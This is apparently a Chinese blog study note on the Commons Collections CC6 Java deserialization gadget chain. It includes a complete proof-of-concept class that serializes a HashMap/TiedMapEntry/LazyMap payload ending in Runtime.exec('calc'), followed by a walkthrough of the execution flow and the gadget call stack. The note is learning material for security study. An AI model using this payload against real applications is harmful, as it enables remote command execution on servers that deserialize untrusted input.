经过cc链一的学习,然后jdk的版本一更新那两条链子就不能用了,然后这种反序列化的话就很不不止依赖于cc包的引入还有jdk版本,于是就出现了cc_link_six一个不依赖于jdk版本的漏洞
先上图后面危险函数的调用方法还是transform方法然后利用后面变成了HashMap作为入口类
还是看一下利用流程
这是TiedMapEntry的的hashcode方法然后调用了getvalue方法
随后在这个方法就是用调用了某个map的get方法然后这个map和key是构造方法里面的参数我们可以直接控制这样我们就可以调用LazyMap的get方法
还是加一手LazyMap的get方法图
前面后面transfrom就不放了到这里链子已经很清晰了
这条链子的其实就是urldns链子跟cc链子的结合体,这条链子的利用的恶意函数还是它还是写一下poc吧
public class cc_link_6_demo {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//URLdns链子的开端
HashMap<Object, Object> map = new HashMap<>();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map laztMap= LazyMap.decorate(map,new ConstantTransformer("22222"));
//因为在前面put的时候就会调用hash然后调用到hashcode这个函数就会被调用,我们用URLdns链相同的方法去掉
TiedMapEntry tiedMapEntry = new TiedMapEntry(laztMap,"aaaa");
HashMap<Object, Object> map1 = new HashMap<>();
map1.put(tiedMapEntry,"bbbb");//这里要因为在put的时候会判读是否存在key存在的话就会把key给put进去
laztMap.remove("aaaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(laztMap,chainedTransformer);//这里就是给laztmap改值
//HashMap的readObject方法是调用的是key的hash然后key的hash调用了key.hashcode
serialize(map1);
unseriallize("src.bin");
}
在下面仔细的跟踪了一下流程
put方法会调用hash方法
hash会调用hashcode方法,然后会调用到TiedMapEntry的getvalue方法
然后因为TiedMapEntry利用的是LazyMap
所以调用的是LazyMap的get方法
然后我们发现在这里就会调用transform方法如果不加以修改的话会在序列化的时候就调用这个方法,我们继续跟下去干这个里会,从return上面来看他会让我们当时的LazyMap里面的map值增加一个key,这个时候我们的lazymap,然后hashmap是空的
这个时候就会跳转的到返回语句给我们的lazymap增加一个key是aaaa
然后后面就是返回值的调用就没有实际意义继续往下看
走出来以后我们可以知道lazymap当时就是有值的了还是key值,这个时候我们再去反序列化调用的时候如果调到map1的可以的hashcode的时候就会执行不到我们要TiedMapEntry的hashcode所以我们要把那个key给删掉然后把lazymap里面的值改掉,然后改成我们要执行的chainsformer,然后就是从chainsfaormer调用下去的循环调用transform方法调用到exec方法
这条链子了就跟我接触的第一条链子就是URLdns链子进行了结合形成了一个不依赖jdk环境的反序列化漏洞的入口
然后和cc链子上面危险的函数进行结合,最后形成了这样一条比较完美的链子
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
手机扫一扫
移动阅读更方便
你可能感兴趣的文章